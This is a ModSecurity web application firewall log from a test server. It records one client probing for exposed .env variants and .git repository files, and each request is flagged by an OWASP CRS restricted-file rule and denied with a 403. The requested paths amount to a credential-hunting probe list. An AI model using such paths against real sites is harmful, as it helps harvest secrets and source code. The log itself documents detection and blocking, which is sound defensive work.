[Sun Jun 29 20:13:30.360917 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UyQAAAAs&quot;]
[Sun Jun 29 20:13:30.361159 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UyQAAAAs&quot;]
[Sun Jun 29 20:13:30.361348 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UyQAAAAs&quot;]
[Sun Jun 29 20:13:30.383247 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UygAAAAs&quot;]
[Sun Jun 29 20:13:30.383476 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UygAAAAs&quot;]
[Sun Jun 29 20:13:30.383649 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UygAAAAs&quot;]
[Sun Jun 29 20:13:35.367002 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.json&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UywAAAAs&quot;]
[Sun Jun 29 20:13:35.367416 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.json&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UywAAAAs&quot;]
[Sun Jun 29 20:13:35.367743 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.json&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UywAAAAs&quot;]
[Sun Jun 29 20:13:35.389784 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.zip&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.zip&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UzAAAAAs&quot;]
[Sun Jun 29 20:13:35.390119 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.zip&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UzAAAAAs&quot;]
[Sun Jun 29 20:13:35.390315 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.zip&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UzAAAAAs&quot;]
[Sun Jun 29 20:13:35.412347 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UzQAAAAs&quot;]
[Sun Jun 29 20:13:35.412591 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UzQAAAAs&quot;]
[Sun Jun 29 20:13:35.412781 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UzQAAAAs&quot;]
[Sun Jun 29 20:13:35.434875 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UzgAAAAs&quot;]
[Sun Jun 29 20:13:35.435110 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UzgAAAAs&quot;]
[Sun Jun 29 20:13:35.435287 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2UzgAAAAs&quot;]
[Sun Jun 29 20:13:35.480529 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0AAAAAs&quot;]
[Sun Jun 29 20:13:35.480786 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0AAAAAs&quot;]
[Sun Jun 29 20:13:35.480972 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0AAAAAs&quot;]
[Sun Jun 29 20:13:35.508294 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/.env&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0QAAAAs&quot;]
[Sun Jun 29 20:13:35.508529 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/.env&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0QAAAAs&quot;]
[Sun Jun 29 20:13:35.508712 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/.env&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0QAAAAs&quot;]
[Sun Jun 29 20:13:35.530847 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0gAAAAs&quot;]
[Sun Jun 29 20:13:35.531080 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0gAAAAs&quot;]
[Sun Jun 29 20:13:35.531264 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0gAAAAs&quot;]
[Sun Jun 29 20:13:35.553552 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0wAAAAs&quot;]
[Sun Jun 29 20:13:35.553796 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0wAAAAs&quot;]
[Sun Jun 29 20:13:35.553992 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U0wAAAAs&quot;]
[Sun Jun 29 20:13:35.575987 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1AAAAAs&quot;]
[Sun Jun 29 20:13:35.576223 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1AAAAAs&quot;]
[Sun Jun 29 20:13:35.576413 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGGCT98ZUWE-JFfvKe2U1AAAAAs&quot;]
